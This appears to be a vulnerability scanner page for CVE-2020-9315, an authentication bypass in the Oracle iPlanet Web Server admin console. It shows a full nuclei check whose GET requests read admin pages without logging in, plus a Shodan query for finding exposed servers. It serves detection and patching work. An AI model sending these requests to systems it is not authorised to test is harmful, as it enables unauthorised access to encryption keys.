Oracle iPlanet Web Server 7.0.x - Authentication Bypass

highseverity

7.5CVSS score

81.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Oracle iPlanet Web Server 7.0.x has incorrect access control for admingui/version URIs in the Administration console, as demonstrated by unauthenticated read access to encryption keys. NOTE a related support policy can be found in the www.oracle.com references attached to this CVE.

Impact

Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.

Fix

Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2 ; GET {{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4
Positive when: contains "Admin Console" AND contains "serverConfigurationsGeneral" or "serverCertificatesGeneral" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9315 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-9315

info:
  name: Oracle iPlanet Web Server 7.0.x - Authentication Bypass
  author: dhiyaneshDk
  severity: high
  description: |
    Oracle iPlanet Web Server 7.0.x has incorrect access control for admingui/version URIs in the Administration console, as demonstrated by unauthenticated read access to encryption keys. NOTE a related support policy can be found in the www.oracle.com references attached to this CVE.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://www.cvebase.com/cve/2020/9315
    - https://www.oracle.com/support/lifetime-support/
    - https://www.oracle.com/us/assets/lifetime-support-middleware-069163.pdf
    - https://wwws.nightwatchcybersecurity.com/2020/05/10/two-vulnerabilities-in-oracles-iplanet-web-server-cve-2020-9315-and-cve-2020-9314/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9315
    cwe-id: CWE-306
    epss-score: 0.81814
    epss-percentile: 0.9965
    cpe: cpe:2.3:a:oracle:iplanet_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: iplanet_web_server
    shodan-query: cpe:"cpe:2.3:a:oracle:iplanet_web_server"
  tags: cve,cve2020,oracle,auth-bypass,iplanet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2"
      - "{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin Console"

      - type: word
        words:
          - "serverConfigurationsGeneral"
          - "serverCertificatesGeneral"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from